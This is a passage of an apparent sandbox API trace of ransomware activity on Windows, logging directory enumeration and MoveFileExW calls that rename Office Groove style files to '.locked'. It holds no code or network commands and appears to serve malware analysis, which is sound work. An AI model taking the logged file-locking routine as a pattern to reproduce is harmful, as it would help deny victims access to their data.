ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba646720, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xba646720, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0039.273] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\background.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\background.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\background.gif.locked"), dwFlags=0x2) returned 1 [0039.275] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\button.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\button.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\button.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\button.gif.locked"), dwFlags=0x2) returned 1 [0039.277] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\tab_off.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\tab_off.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\tab_off.gif.locked"), dwFlags=0x2) returned 1 [0039.279] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\tab_on.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\tab_on.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\tab_on.gif.locked"), dwFlags=0x2) returned 1 [0039.285] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange.css.locked"), dwFlags=0x2) returned 1 [0039.286] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba66c880, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xba66c880, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0039.291] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow.css.locked"), dwFlags=0x2) returned 1 [0039.295] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Casual.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\casual.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Casual.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\casual.css.locked"), dwFlags=0x2) returned 1 [0039.298] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Country.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\country.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Country.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\country.css.locked"), dwFlags=0x2) returned 1 [0039.300] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba6929e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xba6929e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0039.306] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert.css.locked"), dwFlags=0x2) returned 1 [0039.309] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Earthy.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\earthy.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Earthy.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\earthy.css.locked"), dwFlags=0x2) returned 1 [0039.310] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba6929e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xba6929e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0039.315] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck.css.locked"), dwFlags=0x2) returned 1 [0039.319] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GreenTea.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\greentea.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GreenTea.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\greentea.css.locked"), dwFlags=0x2) returned 1 [0039.323] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\LightSpirit.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lightspirit.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\LightSpirit.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lightspirit.css.locked"), dwFlags=0x2) returned 1 [0039.327] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba6b8b40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xba6b8b40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0039.332] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime.css.locked"), dwFlags=0x2) returned 1 [0039.335] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Maroon.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\maroon.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Maroon.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\maroon.css.locked"), dwFlags=0x2) returned 1 [0039.337] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba6deca0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xba6deca0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0039.343] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis.css.locked"), dwFlags=0x2) returned 1 [0039.347] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\olivegreen.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\OliveGreen.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\olivegreen.css.locked"), dwFlags=0x2) returned 1 [0039.351] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\premium.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Premium.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\premium.css.locked"), dwFlags=0x2) returned 1 [0039.354] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba704e00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xba704e00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0039.359] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate.css.locked"), dwFlags=0x2) returned 1 [0039.363] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SlateBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slateblue.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SlateBlue.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slateblue.css.locked"), dwFlags=0x2) returned 1 [0039.364] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba72af60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xba72af60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0039.374] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\background.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\background.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\background.gif.locked"), dwFlags=0x2) returned 1 [0039.377] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\tab_off.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\tab_off.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\tab_off.gif.locked"), dwFlags=0x2) returned 1 [0039.379] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\tab_on.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\tab_on.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\tab_on.gif.locked"), dwFlags=0x2) returned 1 [0039.386] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue.css.locked"), dwFlags=0x2) returned 1 [0039.387] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba7510c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xba7510c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0039.393] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen.css.locked"), dwFlags=0x2) returned 1 [0039.397] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Sts.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Sts.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts.css.locked"), dwFlags=0x2) returned 1 [0039.400] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba777220, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xba777220, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0039.402] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\background.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\background.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\background.gif.locked"), dwFlags=0x2) returned 1 [0039.407] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\header.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\header.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\header.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\header.gif.locked"), dwFlags=0x2) returned 1 [0039.410] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\tab_off.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\tab_off.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\tab_off.gif.locked"), dwFlags=0x2) returned 1 [0039.411] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\tab_on.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\tab_on.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\tab_on.gif.locked"), dwFlags=0x2) returned 1 [0039.417] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Sts2.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Sts2.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2.css.locked"), dwFlags=0x2) returned 1 [0039.419] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5291c2f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba79d380, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xba79d380, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0039.422] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\background.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\background.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\background.gif.locked"), dwFlags=0x2) returned 1 [0039.449] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\header.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\header.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\header.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\header.gif.locked"), dwFlags=0x2) returned 1 [0039.452] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\tab_off.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\tab_off.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\tab_off.gif.locked"), dwFlags=0x2) returned 1 [0039.454] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\tab_on.gif" (normalized: "c:\\program 